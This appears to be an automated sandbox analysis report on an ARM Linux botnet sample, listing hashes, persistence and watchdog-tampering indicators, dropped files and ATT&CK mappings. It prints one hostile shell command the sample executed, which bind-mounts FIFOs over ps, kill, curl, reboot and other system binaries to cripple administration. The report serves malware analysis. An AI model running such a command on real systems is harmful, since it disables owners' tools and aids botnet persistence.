Analysis
- max time kernel
149s - max time network
151s - platform
debian-12_armhf - resource
debian12-armhf-20250619-en - resource tags
arch:armhfimage:debian12-armhf-20250619-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem - submitted
23/09/2025, 04:33
Static task
static1
Behavioral task
behavioral1
Sample
arm7.urbotnetisass.elf
Resource
debian12-armhf-20250619-en
General
- Target arm7.urbotnetisass.elf
- Size 274KB
- Sample250923-e6qpcsfl8w
- SHA256 5b764fed557ce781e9152b507ed79acf176e994618a80dacbcb59895c81e95ca
- MD5 94c9f4a0295e90cc49e1c94fc175b62b
- SHA1 9c332a458ca76eb3064bb8286616fae983b2b123
- SHA512 c930b5f66280576d3b7e05bec27ae753933d96685e3c0d00db9ff4ea6a885a38ffcd1af42a9adbd9fab0d9d0400373d45d3c6448b7ab517908634d3ec9b154cc
- SSDEEP 6144:0t6eoeiIwTXtmPwCAXyg4oanh/a9Qjw+bPeLHENRAIPl:0xotvTXqAXn4oah/a9Qjw+7kHENRAg
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Deletes itself 1 IoCs
pid Process 805 arm7.urbotnetisass.elf - Modifies Watchdog functionality 1 TTPs 3 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog arm7.urbotnetisass.elf File opened for modification /dev/Watchdog arm7.urbotnetisass.elf File opened for modification /dev/watchdog arm7.urbotnetisass.elf - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/crontab arm7.urbotnetisass.elf - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/bash.bashrc arm7.urbotnetisass.elf File opened for modification /etc/profile arm7.urbotnetisass.elf File opened for modification /root/.bashrc arm7.urbotnetisass.elf - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp arm7.urbotnetisass.elf - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local arm7.urbotnetisass.elf - Writes file to system bin folder 1 IoCs
description ioc Process File opened for modification /sbin/watchdog arm7.urbotnetisass.elf - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/bash.bashrc arm7.urbotnetisass.elf File opened for modification /etc/profile arm7.urbotnetisass.elf File opened for modification /root/.bashrc arm7.urbotnetisass.elf - Reads process memory 1 TTPs 1 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/1/maps arm7.urbotnetisass.elf - Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp arm7.urbotnetisass.elf File opened for reading /proc/net/udp arm7.urbotnetisass.elf - Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs
Execute scripts via Unix Shell.
pid Process 810 sh -
description ioc Process File opened for reading /proc/46/stat arm7.urbotnetisass.elf File opened for reading /proc/143/stat arm7.urbotnetisass.elf File opened for reading /proc/328/stat arm7.urbotnetisass.elf File opened for reading /proc/732/stat arm7.urbotnetisass.elf File opened for reading /proc/804/stat arm7.urbotnetisass.elf File opened for reading /proc/812/stat arm7.urbotnetisass.elf File opened for reading /proc/32/stat arm7.urbotnetisass.elf File opened for reading /proc/211/stat arm7.urbotnetisass.elf File opened for reading /proc/309/stat arm7.urbotnetisass.elf File opened for reading /proc/320/stat arm7.urbotnetisass.elf File opened for reading /proc/367/stat arm7.urbotnetisass.elf File opened for reading /proc/668/stat arm7.urbotnetisass.elf File opened for reading /proc/783/stat arm7.urbotnetisass.elf File opened for reading /proc/811/stat arm7.urbotnetisass.elf File opened for reading /proc/2/stat arm7.urbotnetisass.elf File opened for reading /proc/14/stat arm7.urbotnetisass.elf File opened for reading /proc/51/stat arm7.urbotnetisass.elf File opened for reading /proc/641/stat arm7.urbotnetisass.elf File opened for reading /proc/803/stat arm7.urbotnetisass.elf File opened for reading /proc/808/stat arm7.urbotnetisass.elf File opened for reading /proc/811/cmdline arm7.urbotnetisass.elf File opened for reading /proc/815/stat arm7.urbotnetisass.elf File opened for reading /proc/809/stat arm7.urbotnetisass.elf File opened for reading /proc/8/stat arm7.urbotnetisass.elf File opened for reading /proc/12/stat arm7.urbotnetisass.elf File opened for reading /proc/19/stat arm7.urbotnetisass.elf File opened for reading /proc/193/stat arm7.urbotnetisass.elf File opened for reading /proc/823/fd arm7.urbotnetisass.elf File opened for reading /proc/824/stat arm7.urbotnetisass.elf File opened for reading /proc/826/stat arm7.urbotnetisass.elf File opened for reading /proc/26/stat arm7.urbotnetisass.elf File opened for reading /proc/36/stat arm7.urbotnetisass.elf File opened for reading /proc/361/stat arm7.urbotnetisass.elf File opened for reading /proc/621/stat arm7.urbotnetisass.elf File opened for reading /proc/814/stat arm7.urbotnetisass.elf File opened for reading /proc/815/cmdline arm7.urbotnetisass.elf File opened for reading /proc/824/fd arm7.urbotnetisass.elf File opened for reading /proc/23/stat arm7.urbotnetisass.elf File opened for reading /proc/34/stat arm7.urbotnetisass.elf File opened for reading /proc/640/stat arm7.urbotnetisass.elf File opened for reading /proc/805/stat arm7.urbotnetisass.elf File opened for reading /proc/825/fd arm7.urbotnetisass.elf File opened for reading /proc/11/stat arm7.urbotnetisass.elf File opened for reading /proc/18/stat arm7.urbotnetisass.elf File opened for reading /proc/24/stat arm7.urbotnetisass.elf File opened for reading /proc/27/stat arm7.urbotnetisass.elf File opened for reading /proc/673/stat arm7.urbotnetisass.elf File opened for reading /proc/728/stat arm7.urbotnetisass.elf File opened for reading /proc/806/stat arm7.urbotnetisass.elf File opened for reading /proc/10/stat arm7.urbotnetisass.elf File opened for reading /proc/802/stat arm7.urbotnetisass.elf File opened for reading /proc/823/exe arm7.urbotnetisass.elf File opened for reading /proc/825/exe arm7.urbotnetisass.elf File opened for reading /proc/self/maps arm7.urbotnetisass.elf File opened for reading /proc/5/stat arm7.urbotnetisass.elf File opened for reading /proc/7/stat arm7.urbotnetisass.elf File opened for reading /proc/16/stat arm7.urbotnetisass.elf File opened for reading /proc/31/stat arm7.urbotnetisass.elf File opened for reading /proc/784/stat arm7.urbotnetisass.elf File opened for reading /proc/807/stat arm7.urbotnetisass.elf File opened for reading /proc/824/exe arm7.urbotnetisass.elf File opened for reading /proc/15/stat arm7.urbotnetisass.elf File opened for reading /proc/22/stat arm7.urbotnetisass.elf File opened for reading /proc/42/stat arm7.urbotnetisass.elf - Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bot_shm_794.lock arm7.urbotnetisass.elf File opened for modification /tmp/.block/.test_write arm7.urbotnetisass.elf File opened for modification /tmp/.taunt arm7.urbotnetisass.elf File opened for modification /tmp/.mock arm7.urbotnetisass.elf File opened for modification /tmp/.broken_shell arm7.urbotnetisass.elf File opened for modification /tmp/.killer_lock arm7.urbotnetisass.elf
Processes
-
/tmp/arm7.urbotnetisass.elf/tmp/arm7.urbotnetisass.elf1⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies rc script
- Writes file to system bin folder
- Modifies Bash startup script
- Reads process memory
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
PID:786 -
/bin/sh/bin/sh -c "for c in ps kill grep ls cat readlink mount umount awk sed cut wget curl top netstat ss lsof reboot shutdown halt poweroff; do mkfifo /tmp/\$c 2>/dev/null; mount --bind /tmp/\$c /bin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/bin/\$c 2>/dev/null; mount --bind /tmp/\$c /sbin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/sbin/\$c 2>/dev/null; done"2⤵
- Command and Scripting Interpreter: Unix Shell
PID:810
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Unix Shell
1Scheduled Task/Job
1Cron
1Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/rc.local
- Size 17B
- SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
- MD5 33e4fd94e2560e008e2c3b431d0e3419
- SHA1 504519c842b7202250315ef562069e4ce10da99c
- SHA512 69f097faa9ccb981e78c3a914ad68a51771637d9aecd2dbc807003ac30663e6d921091a48ff529dfff27a6cd55b0808f91683118acf7acdf406d37266e622b17
- MD5 SHA1 SHA512
- Path /tmp/.broken_shell
- Size 137B
- SHA256 c102dc8cd4c206f5cdc178fc498df4b15dfd43d17123867fffaf44220383c7d4
- MD5 074946fa7e219273d132617ecb2ec518
- SHA1 2ae71d7e1b454cccb6771fefdd7b81ce81c74eaa
- SHA512 2dcc45eb8e013b9550a9c84911f6d9444431d2b723b0220d3689b7be7591e150a5eb2dbfb73a0db029a4677f04c2724d917cbd7882ba41e618874778eb26289d
- MD5 SHA1 SHA512
- Path /tmp/.mock
- Size 388B
- SHA256 b0082567296e2db8275072c23020cb893dd58ba8b995d49a0d531908f884b19a
- MD5 b81d4833a73caa23aa9ad11ca2de5b4e
- SHA1 2b8fcc47ef472e015bf3323b6ffcac3d2e0bde18
- SHA512 f8ae5eb560005a86e9004bbc7be1ca693abbed3d233439442c8017b850c63340f42abbc79f108e506224a2a35ea35ee47ed2132d7ed3b4483e2ee8d9c8a59072
- MD5 SHA1 SHA512
- Path /tmp/.taunt
- Size 796B
- SHA256 39bd06f3e25159f5fece6db6c7a6e0f25d5be5a46be90bacda7a9ea3d71b95f9
- MD5 42d4e641f3b4ab4bd1d3a2bc681a4938
- SHA1 9bebd38d0411b40f6a8f36b0ca5d86e0d10c9946
- SHA512 830fbf220bdc74ed73d4805e7c3fee952a013d22f969a642ea5dde7fe3de0d7b8c3acdf6a0bcaf19010bb8efd8b1b7ec551a0fa3847244ece5d2798061d7990c
- MD5 SHA1 SHA512